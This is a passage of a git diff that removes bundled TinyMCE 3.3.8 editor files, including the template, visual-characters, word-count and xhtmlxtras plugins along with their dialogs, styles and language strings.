name="backgroundimage" type="text" value="" class="advfield" onchange="changedBackgroundImage();" /></td> - <td id="backgroundimagebrowsercontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="column1"><label for="tframe">{#table_dlg.frame}</label></td> - <td> - <select id="tframe" name="tframe" class="advfield"> - <option value="">{#not_set}</option> - <option value="void">{#table_dlg.rules_void}</option> - <option value="above">{#table_dlg.rules_above}</option> - <option value="below">{#table_dlg.rules_below}</option> - <option value="hsides">{#table_dlg.rules_hsides}</option> - <option value="lhs">{#table_dlg.rules_lhs}</option> - <option value="rhs">{#table_dlg.rules_rhs}</option> - <option value="vsides">{#table_dlg.rules_vsides}</option> - <option value="box">{#table_dlg.rules_box}</option> - <option value="border">{#table_dlg.rules_border}</option> - </select> - </td> - </tr> - - <tr> - <td class="column1"><label for="rules">{#table_dlg.rules}</label></td> - <td> - <select id="rules" name="rules" class="advfield"> - <option value="">{#not_set}</option> - <option value="none">{#table_dlg.frame_none}</option> - <option value="groups">{#table_dlg.frame_groups}</option> - <option value="rows">{#table_dlg.frame_rows}</option> - <option value="cols">{#table_dlg.frame_cols}</option> - <option value="all">{#table_dlg.frame_all}</option> - </select> - </td> - </tr> - - <tr> - <td class="column1"><label for="dir">{#table_dlg.langdir}</label></td> - <td> - <select id="dir" name="dir" class="advfield"> - <option value="">{#not_set}</option> - <option value="ltr">{#table_dlg.ltr}</option> - <option value="rtl">{#table_dlg.rtl}</option> - </select> - </td> - </tr> - - <tr> - <td class="column1"><label for="bordercolor">{#table_dlg.bordercolor}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="bordercolor" name="bordercolor" type="text" value="" size="9" onchange="updateColor('bordercolor_pick','bordercolor');changedColor();" /></td> - <td id="bordercolor_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="column1"><label for="bgcolor">{#table_dlg.bgcolor}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="bgcolor" name="bgcolor" type="text" value="" size="9" onchange="updateColor('bgcolor_pick','bgcolor');changedColor();" /></td> - <td id="bgcolor_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - </table> - </fieldset> - </div> - </div> - - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#insert}" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> - </form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/blank.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/blank.htm deleted file mode 100644 index ecde53f..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/blank.htm +++ /dev/null @@ -1,12 +0,0 @@ -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>blank_page</title> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> - <script type="text/javascript"> - parent.TemplateDialog.loadCSSFiles(document); - </script> -</head> -<body id="mceTemplatePreview" class="mceContentBody"> - -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/css/template.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/css/template.css deleted file mode 100644 index 2d23a49..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/css/template.css +++ /dev/null @@ -1,23 +0,0 @@ -#frmbody { - padding: 10px; - background-color: #FFF; - border: 1px solid #CCC; -} - -.frmRow { - margin-bottom: 10px; -} - -#templatesrc { - border: none; - width: 320px; - height: 240px; -} - -.title { - padding-bottom: 5px; -} - -.mceActionPanel { - padding-top: 5px; -} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/editor_plugin.js deleted file mode 100644 index ebe3c27..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){var a=tinymce.each;tinymce.create("tinymce.plugins.TemplatePlugin",{init:function(b,c){var d=this;d.editor=b;b.addCommand("mceTemplate",function(e){b.windowManager.open({file:c+"/template.htm",width:b.getParam("template_popup_width",750),height:b.getParam("template_popup_height",600),inline:1},{plugin_url:c})});b.addCommand("mceInsertTemplate",d._insertTemplate,d);b.addButton("template",{title:"template.desc",cmd:"mceTemplate"});b.onPreProcess.add(function(e,g){var f=e.dom;a(f.select("div",g.node),function(h){if(f.hasClass(h,"mceTmpl")){a(f.select("*",h),function(i){if(f.hasClass(i,e.getParam("template_mdate_classes","mdate").replace(/\s+/g,"|"))){i.innerHTML=d._getDateTime(new Date(),e.getParam("template_mdate_format",e.getLang("template.mdate_format")))}});d._replaceVals(h)}})})},getInfo:function(){return{longname:"Template plugin",author:"Moxiecode Systems AB",authorurl:"http://www.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/template",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_insertTemplate:function(i,j){var k=this,g=k.editor,f,c,d=g.dom,b=g.selection.getContent();f=j.content;a(k.editor.getParam("template_replace_values"),function(l,h){if(typeof(l)!="function"){f=f.replace(new RegExp("\\{\\$"+h+"\\}","g"),l)}});c=d.create("div",null,f);n=d.select(".mceTmpl",c);if(n&&n.length>0){c=d.create("div",null);c.appendChild(n[0].cloneNode(true))}function e(l,h){return new RegExp("\\b"+h+"\\b","g").test(l.className)}a(d.select("*",c),function(h){if(e(h,g.getParam("template_cdate_classes","cdate").replace(/\s+/g,"|"))){h.innerHTML=k._getDateTime(new Date(),g.getParam("template_cdate_format",g.getLang("template.cdate_format")))}if(e(h,g.getParam("template_mdate_classes","mdate").replace(/\s+/g,"|"))){h.innerHTML=k._getDateTime(new Date(),g.getParam("template_mdate_format",g.getLang("template.mdate_format")))}if(e(h,g.getParam("template_selected_content_classes","selcontent").replace(/\s+/g,"|"))){h.innerHTML=b}});k._replaceVals(c);g.execCommand("mceInsertContent",false,c.innerHTML);g.addVisual()},_replaceVals:function(c){var d=this.editor.dom,b=this.editor.getParam("template_replace_values");a(d.select("*",c),function(f){a(b,function(g,e){if(d.hasClass(f,e)){if(typeof(b[e])=="function"){b[e](f)}}})})},_getDateTime:function(e,b){if(!b){return""}function c(g,d){var f;g=""+g;if(g.length<d){for(f=0;f<(d-g.length);f++){g="0"+g}}return g}b=b.replace("%D","%m/%d/%y");b=b.replace("%r","%I:%M:%S %p");b=b.replace("%Y",""+e.getFullYear());b=b.replace("%y",""+e.getYear());b=b.replace("%m",c(e.getMonth()+1,2));b=b.replace("%d",c(e.getDate(),2));b=b.replace("%H",""+c(e.getHours(),2));b=b.replace("%M",""+c(e.getMinutes(),2));b=b.replace("%S",""+c(e.getSeconds(),2));b=b.replace("%I",""+((e.getHours()+11)%12+1));b=b.replace("%p",""+(e.getHours()<12?"AM":"PM"));b=b.replace("%B",""+this.editor.getLang("template_months_long").split(",")[e.getMonth()]);b=b.replace("%b",""+this.editor.getLang("template_months_short").split(",")[e.getMonth()]);b=b.replace("%A",""+this.editor.getLang("template_day_long").split(",")[e.getDay()]);b=b.replace("%a",""+this.editor.getLang("template_day_short").split(",")[e.getDay()]);b=b.replace("%%","%");return b}});tinymce.PluginManager.add("template",tinymce.plugins.TemplatePlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/editor_plugin_src.js deleted file mode 100644 index 9cac269..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/editor_plugin_src.js +++ /dev/null @@ -1,159 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - var each = tinymce.each; - - tinymce.create('tinymce.plugins.TemplatePlugin', { - init : function(ed, url) { - var t = this; - - t.editor = ed; - - // Register commands - ed.addCommand('mceTemplate', function(ui) { - ed.windowManager.open({ - file : url + '/template.htm', - width : ed.getParam('template_popup_width', 750), - height : ed.getParam('template_popup_height', 600), - inline : 1 - }, { - plugin_url : url - }); - }); - - ed.addCommand('mceInsertTemplate', t._insertTemplate, t); - - // Register buttons - ed.addButton('template', {title : 'template.desc', cmd : 'mceTemplate'}); - - ed.onPreProcess.add(function(ed, o) { - var dom = ed.dom; - - each(dom.select('div', o.node), function(e) { - if (dom.hasClass(e, 'mceTmpl')) { - each(dom.select('*', e), function(e) { - if (dom.hasClass(e, ed.getParam('template_mdate_classes', 'mdate').replace(/\s+/g, '|'))) - e.innerHTML = t._getDateTime(new Date(), ed.getParam("template_mdate_format", ed.getLang("template.mdate_format"))); - }); - - t._replaceVals(e); - } - }); - }); - }, - - getInfo : function() { - return { - longname : 'Template plugin', - author : 'Moxiecode Systems AB', - authorurl : 'http://www.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/template', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - }, - - _insertTemplate : function(ui, v) { - var t = this, ed = t.editor, h, el, dom = ed.dom, sel = ed.selection.getContent(); - - h = v.content; - - each(t.editor.getParam('template_replace_values'), function(v, k) { - if (typeof(v) != 'function') - h = h.replace(new RegExp('\\{\\$' + k + '\\}', 'g'), v); - }); - - el = dom.create('div', null, h); - - // Find template element within div - n = dom.select('.mceTmpl', el); - if (n && n.length > 0) { - el = dom.create('div', null); - el.appendChild(n[0].cloneNode(true)); - } - - function hasClass(n, c) { - return new RegExp('\\b' + c + '\\b', 'g').test(n.className); - }; - - each(dom.select('*', el), function(n) { - // Replace cdate - if (hasClass(n, ed.getParam('template_cdate_classes', 'cdate').replace(/\s+/g, '|'))) - n.innerHTML = t._getDateTime(new Date(), ed.getParam("template_cdate_format", ed.getLang("template.cdate_format"))); - - // Replace mdate - if (hasClass(n, ed.getParam('template_mdate_classes', 'mdate').replace(/\s+/g, '|'))) - n.innerHTML = t._getDateTime(new Date(), ed.getParam("template_mdate_format", ed.getLang("template.mdate_format"))); - - // Replace selection - if (hasClass(n, ed.getParam('template_selected_content_classes', 'selcontent').replace(/\s+/g, '|'))) - n.innerHTML = sel; - }); - - t._replaceVals(el); - - ed.execCommand('mceInsertContent', false, el.innerHTML); - ed.addVisual(); - }, - - _replaceVals : function(e) { - var dom = this.editor.dom, vl = this.editor.getParam('template_replace_values'); - - each(dom.select('*', e), function(e) { - each(vl, function(v, k) { - if (dom.hasClass(e, k)) { - if (typeof(vl[k]) == 'function') - vl[k](e); - } - }); - }); - }, - - _getDateTime : function(d, fmt) { - if (!fmt) - return ""; - - function addZeros(value, len) { - var i; - - value = "" + value; - - if (value.length < len) { - for (i=0; i<(len-value.length); i++) - value = "0" + value; - } - - return value; - } - - fmt = fmt.replace("%D", "%m/%d/%y"); - fmt = fmt.replace("%r", "%I:%M:%S %p"); - fmt = fmt.replace("%Y", "" + d.getFullYear()); - fmt = fmt.replace("%y", "" + d.getYear()); - fmt = fmt.replace("%m", addZeros(d.getMonth()+1, 2)); - fmt = fmt.replace("%d", addZeros(d.getDate(), 2)); - fmt = fmt.replace("%H", "" + addZeros(d.getHours(), 2)); - fmt = fmt.replace("%M", "" + addZeros(d.getMinutes(), 2)); - fmt = fmt.replace("%S", "" + addZeros(d.getSeconds(), 2)); - fmt = fmt.replace("%I", "" + ((d.getHours() + 11) % 12 + 1)); - fmt = fmt.replace("%p", "" + (d.getHours() < 12 ? "AM" : "PM")); - fmt = fmt.replace("%B", "" + this.editor.getLang("template_months_long").split(',')[d.getMonth()]); - fmt = fmt.replace("%b", "" + this.editor.getLang("template_months_short").split(',')[d.getMonth()]); - fmt = fmt.replace("%A", "" + this.editor.getLang("template_day_long").split(',')[d.getDay()]); - fmt = fmt.replace("%a", "" + this.editor.getLang("template_day_short").split(',')[d.getDay()]); - fmt = fmt.replace("%%", "%"); - - return fmt; - } - }); - - // Register plugin - tinymce.PluginManager.add('template', tinymce.plugins.TemplatePlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/js/template.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/js/template.js deleted file mode 100644 index 24045d7..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/js/template.js +++ /dev/null @@ -1,106 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -var TemplateDialog = { - preInit : function() { - var url = tinyMCEPopup.getParam("template_external_list_url"); - - if (url != null) - document.write('<sc'+'ript language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></sc'+'ript>'); - }, - - init : function() { - var ed = tinyMCEPopup.editor, tsrc, sel, x, u; - - tsrc = ed.getParam("template_templates", false); - sel = document.getElementById('tpath'); - - // Setup external template list - if (!tsrc && typeof(tinyMCETemplateList) != 'undefined') { - for (x=0, tsrc = []; x<tinyMCETemplateList.length; x++) - tsrc.push({title : tinyMCETemplateList[x][0], src : tinyMCETemplateList[x][1], description : tinyMCETemplateList[x][2]}); - } - - for (x=0; x<tsrc.length; x++) - sel.options[sel.options.length] = new Option(tsrc[x].title, tinyMCEPopup.editor.documentBaseURI.toAbsolute(tsrc[x].src)); - - this.resize(); - this.tsrc = tsrc; - }, - - resize : function() { - var w, h, e; - - if (!self.innerWidth) { - w = document.body.clientWidth - 50; - h = document.body.clientHeight - 160; - } else { - w = self.innerWidth - 50; - h = self.innerHeight - 170; - } - - e = document.getElementById('templatesrc'); - - if (e) { - e.style.height = Math.abs(h) + 'px'; - e.style.width = Math.abs(w - 5) + 'px'; - } - }, - - loadCSSFiles : function(d) { - var ed = tinyMCEPopup.editor; - - tinymce.each(ed.getParam("content_css", '').split(','), function(u) { - d.write('<link href="' + ed.documentBaseURI.toAbsolute(u) + '" rel="stylesheet" type="text/css" />'); - }); - }, - - selectTemplate : function(u, ti) { - var d = window.frames['templatesrc'].document, x, tsrc = this.tsrc; - - if (!u) - return; - - d.body.innerHTML = this.templateHTML = this.getFileContents(u); - - for (x=0; x<tsrc.length; x++) { - if (tsrc[x].title == ti) - document.getElementById('tmpldesc').innerHTML = tsrc[x].description || ''; - } - }, - - insert : function() { - tinyMCEPopup.execCommand('mceInsertTemplate', false, { - content : this.templateHTML, - selection : tinyMCEPopup.editor.selection.getContent() - }); - - tinyMCEPopup.close(); - }, - - getFileContents : function(u) { - var x, d, t = 'text/plain'; - - function g(s) { - x = 0; - - try { - x = new ActiveXObject(s); - } catch (s) { - } - - return x; - }; - - x = window.ActiveXObject ? g('Msxml2.XMLHTTP') || g('Microsoft.XMLHTTP') : new XMLHttpRequest(); - - // Synchronous AJAX load file - x.overrideMimeType && x.overrideMimeType(t); - x.open("GET", u, false); - x.send(null); - - return x.responseText; - } -}; - -TemplateDialog.preInit(); -tinyMCEPopup.onInit.add(TemplateDialog.init, TemplateDialog); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/langs/en_dlg.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/langs/en_dlg.js deleted file mode 100644 index 2471c3f..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/langs/en_dlg.js +++ /dev/null @@ -1,15 +0,0 @@ -tinyMCE.addI18n('en.template_dlg',{ -title:"Templates", -label:"Template", -desc_label:"Description", -desc:"Insert predefined template content", -select:"Select a template", -preview:"Preview", -warning:"Warning: Updating a template with a different one may cause data loss.", -mdate_format:"%Y-%m-%d %H:%M:%S", -cdate_format:"%Y-%m-%d %H:%M:%S", -months_long:"January,February,March,April,May,June,July,August,September,October,November,December", -months_short:"Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec", -day_long:"Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday", -day_short:"Sun,Mon,Tue,Wed,Thu,Fri,Sat,Sun" -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/template.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/template.htm deleted file mode 100644 index b2182e6..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/template/template.htm +++ /dev/null @@ -1,31 +0,0 @@ -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#template_dlg.title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="js/template.js"></script> - <link href="css/template.css" rel="stylesheet" type="text/css" /> -</head> -<body onresize="TemplateDialog.resize();"> - <form onsubmit="TemplateDialog.insert();return false;"> - <div id="frmbody"> - <div class="title">{#template_dlg.desc}</div> - <div class="frmRow"><label for="tpath" title="{#template_dlg.select}">{#template_dlg.label}:</label> - <select id="tpath" name="tpath" onchange="TemplateDialog.selectTemplate(this.options[this.selectedIndex].value, this.options[this.selectedIndex].text);" class="mceFocus"> - <option value="">{#template_dlg.select}...</option> - </select> - <span id="warning"></span></div> - <div class="frmRow"><label for="tdesc">{#template_dlg.desc_label}:</label> - <span id="tmpldesc"></span></div> - <fieldset> - <legend>{#template_dlg.preview}</legend> - <iframe id="templatesrc" name="templatesrc" src="blank.htm" width="690" height="400" frameborder="0"></iframe> - </fieldset> - </div> - - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#insert}" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> - </form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/visualchars/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/visualchars/editor_plugin.js deleted file mode 100644 index 94719f9..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/visualchars/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.VisualChars",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceVisualChars",c._toggleVisualChars,c);a.addButton("visualchars",{title:"visualchars.desc",cmd:"mceVisualChars"});a.onBeforeGetContent.add(function(d,e){if(c.state&&e.format!="raw"&&!e.draft){c.state=true;c._toggleVisualChars(false)}})},getInfo:function(){return{longname:"Visual characters",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/visualchars",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_toggleVisualChars:function(m){var p=this,k=p.editor,a,g,j,n=k.getDoc(),o=k.getBody(),l,q=k.selection,e,c,f;p.state=!p.state;k.controlManager.setActive("visualchars",p.state);if(m){f=q.getBookmark()}if(p.state){a=[];tinymce.walk(o,function(b){if(b.nodeType==3&&b.nodeValue&&b.nodeValue.indexOf("\u00a0")!=-1){a.push(b)}},"childNodes");for(g=0;g<a.length;g++){l=a[g].nodeValue;l=l.replace(/(\u00a0)/g,'<span _mce_bogus="1" class="mceItemHidden mceItemNbsp">$1</span>');c=k.dom.create("div",null,l);while(node=c.lastChild){k.dom.insertAfter(node,a[g])}k.dom.remove(a[g])}}else{a=k.dom.select("span.mceItemNbsp",o);for(g=a.length-1;g>=0;g--){k.dom.remove(a[g],1)}}q.moveToBookmark(f)}});tinymce.PluginManager.add("visualchars",tinymce.plugins.VisualChars)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/visualchars/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/visualchars/editor_plugin_src.js deleted file mode 100644 index 35856e2..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/visualchars/editor_plugin_src.js +++ /dev/null @@ -1,83 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.VisualChars', { - init : function(ed, url) { - var t = this; - - t.editor = ed; - - // Register commands - ed.addCommand('mceVisualChars', t._toggleVisualChars, t); - - // Register buttons - ed.addButton('visualchars', {title : 'visualchars.desc', cmd : 'mceVisualChars'}); - - ed.onBeforeGetContent.add(function(ed, o) { - if (t.state && o.format != 'raw' && !o.draft) { - t.state = true; - t._toggleVisualChars(false); - } - }); - }, - - getInfo : function() { - return { - longname : 'Visual characters', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/visualchars', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - }, - - // Private methods - - _toggleVisualChars : function(bookmark) { - var t = this, ed = t.editor, nl, i, h, d = ed.getDoc(), b = ed.getBody(), nv, s = ed.selection, bo, div, bm; - - t.state = !t.state; - ed.controlManager.setActive('visualchars', t.state); - - if (bookmark) - bm = s.getBookmark(); - - if (t.state) { - nl = []; - tinymce.walk(b, function(n) { - if (n.nodeType == 3 && n.nodeValue && n.nodeValue.indexOf('\u00a0') != -1) - nl.push(n); - }, 'childNodes'); - - for (i = 0; i < nl.length; i++) { - nv = nl[i].nodeValue; - nv = nv.replace(/(\u00a0)/g, '<span _mce_bogus="1" class="mceItemHidden mceItemNbsp">$1</span>'); - - div = ed.dom.create('div', null, nv); - while (node = div.lastChild) - ed.dom.insertAfter(node, nl[i]); - - ed.dom.remove(nl[i]); - } - } else { - nl = ed.dom.select('span.mceItemNbsp', b); - - for (i = nl.length - 1; i >= 0; i--) - ed.dom.remove(nl[i], 1); - } - - s.moveToBookmark(bm); - } - }); - - // Register plugin - tinymce.PluginManager.add('visualchars', tinymce.plugins.VisualChars); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/wordcount/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/wordcount/editor_plugin.js deleted file mode 100644 index a099e6a..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/wordcount/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.WordCount",{block:0,id:null,countre:null,cleanre:null,init:function(a,b){var c=this,d=0;c.countre=a.getParam("wordcount_countregex",/\S\s+/g);c.cleanre=a.getParam("wordcount_cleanregex",/[0-9.(),;:!?%#$¿'"_+=\\\/-]*/g);c.id=a.id+"-word-count";a.onPostRender.add(function(f,e){var g,h;h=f.getParam("wordcount_target_id");if(!h){g=tinymce.DOM.get(f.id+"_path_row");if(g){tinymce.DOM.add(g.parentNode,"div",{style:"float: right"},f.getLang("wordcount.words","Words: ")+'<span id="'+c.id+'">0</span>')}}else{tinymce.DOM.add(h,"span",{},'<span id="'+c.id+'">0</span>')}});a.onInit.add(function(e){e.selection.onSetContent.add(function(){c._count(e)});c._count(e)});a.onSetContent.add(function(e){c._count(e)});a.onKeyUp.add(function(f,g){if(g.keyCode==d){return}if(13==g.keyCode||8==d||46==d){c._count(f)}d=g.keyCode})},_count:function(b){var c=this,a=0;if(c.block){return}c.block=1;setTimeout(function(){var d=b.getContent({format:"raw"});if(d){d=d.replace(/<.[^<>]*?>/g," ").replace(/&nbsp;|&#160;/gi," ");d=d.replace(c.cleanre,"");d.replace(c.countre,function(){a++})}tinymce.DOM.setHTML(c.id,a.toString());setTimeout(function(){c.block=0},2000)},1)},getInfo:function(){return{longname:"Word Count plugin",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/wordcount",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("wordcount",tinymce.plugins.WordCount)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/wordcount/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/wordcount/editor_plugin_src.js deleted file mode 100644 index 5cb92fa..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/wordcount/editor_plugin_src.js +++ /dev/null @@ -1,98 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.WordCount', { - block : 0, - id : null, - countre : null, - cleanre : null, - - init : function(ed, url) { - var t = this, last = 0; - - t.countre = ed.getParam('wordcount_countregex', /\S\s+/g); - t.cleanre = ed.getParam('wordcount_cleanregex', /[0-9.(),;:!?%#$¿'"_+=\\\/-]*/g); - t.id = ed.id + '-word-count'; - - ed.onPostRender.add(function(ed, cm) { - var row, id; - - // Add it to the specified id or the theme advanced path - id = ed.getParam('wordcount_target_id'); - if (!id) { - row = tinymce.DOM.get(ed.id + '_path_row'); - - if (row) - tinymce.DOM.add(row.parentNode, 'div', {'style': 'float: right'}, ed.getLang('wordcount.words', 'Words: ') + '<span id="' + t.id + '">0</span>'); - } else - tinymce.DOM.add(id, 'span', {}, '<span id="' + t.id + '">0</span>'); - }); - - ed.onInit.add(function(ed) { - ed.selection.onSetContent.add(function() { - t._count(ed); - }); - - t._count(ed); - }); - - ed.onSetContent.add(function(ed) { - t._count(ed); - }); - - ed.onKeyUp.add(function(ed, e) { - if (e.keyCode == last) - return; - - if (13 == e.keyCode || 8 == last || 46 == last) - t._count(ed); - - last = e.keyCode; - }); - }, - - _count : function(ed) { - var t = this, tc = 0; - - // Keep multiple calls from happening at the same time - if (t.block) - return; - - t.block = 1; - - setTimeout(function() { - var tx = ed.getContent({format : 'raw'}); - - if (tx) { - tx = tx.replace(/<.[^<>]*?>/g, ' ').replace(/&nbsp;|&#160;/gi, ' '); // remove html tags and space chars - tx = tx.replace(t.cleanre, ''); // remove numbers and punctuation - tx.replace(t.countre, function() {tc++;}); // count the words - } - - tinymce.DOM.setHTML(t.id, tc.toString()); - - setTimeout(function() {t.block = 0;}, 2000); - }, 1); - }, - - getInfo: function() { - return { - longname : 'Word Count plugin', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/wordcount', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - tinymce.PluginManager.add('wordcount', tinymce.plugins.WordCount); -})(); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/abbr.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/abbr.htm deleted file mode 100644 index 3aeac0d..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/abbr.htm +++ /dev/null @@ -1,141 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#xhtmlxtras_dlg.title_abbr_element}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="../../utils/editable_selects.js"></script> - <script type="text/javascript" src="js/element_common.js"></script> - <script type="text/javascript" src="js/abbr.js"></script> - <link rel="stylesheet" type="text/css" href="css/popup.css" /> -</head> -<body style="display: none"> -<form onsubmit="insertAbbr();return false;" action="#"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#xhtmlxtras_dlg.general_tab}</a></span></li> - <!-- <li id="events_tab"><span><a href="javascript:mcTabs.displayTab('events_tab','events_panel');" onmousedown="return false;">{#xhtmlxtras_dlg.events_tab}</a></span></li> --> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - <fieldset> - <legend>{#xhtmlxtras_dlg.fieldset_attrib_tab}</legend> - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="label"><label id="titlelabel" for="title">{#xhtmlxtras_dlg.attribute_label_title}</label>:</td> - <td><input id="title" name="title" type="text" value="" class="field mceFocus" /></td> - </tr> - <tr> - <td class="label"><label id="idlabel" for="id">{#xhtmlxtras_dlg.attribute_label_id}</label>:</td> - <td><input id="id" name="id" type="text" value="" class="field" /></td> - </tr> - <tr> - <td class="label"><label id="classlabel" for="class">{#xhtmlxtras_dlg.attribute_label_class}</label>:</td> - <td> - <select id="class" name="class" class="field mceEditableSelect"> - <option value="">{#not_set}</option> - </select> - </td> - </tr> - <tr> - <td class="label"><label id="stylelabel" for="class">{#xhtmlxtras_dlg.attribute_label_style}</label>:</td> - <td><input id="style" name="style" type="text" value="" class="field" /></td> - </tr> - <tr> - <td class="label"><label id="dirlabel" for="dir">{#xhtmlxtras_dlg.attribute_label_langdir}</label>:</td> - <td> - <select id="dir" name="dir" class="field"> - <option value="">{#not_set}</option> - <option value="ltr">{#xhtmlxtras_dlg.attribute_option_ltr}</option> - <option value="rtl">{#xhtmlxtras_dlg.attribute_option_rtl}</option> - </select> - </td> - </tr> - <tr> - <td class="label"><label id="langlabel" for="lang">{#xhtmlxtras_dlg.attribute_label_langcode}</label>:</td> - <td> - <input id="lang" name="lang" type="text" value="" class="field" /> - </td> - </tr> - </table> - </fieldset> - </div> - <div id="events_panel" class="panel"> - <fieldset> - <legend>{#xhtmlxtras_dlg.fieldset_events_tab}</legend> - - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="label"><label for="onfocus">onfocus</label>:</td> - <td><input id="onfocus" name="onfocus" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onblur">onblur</label>:</td> - 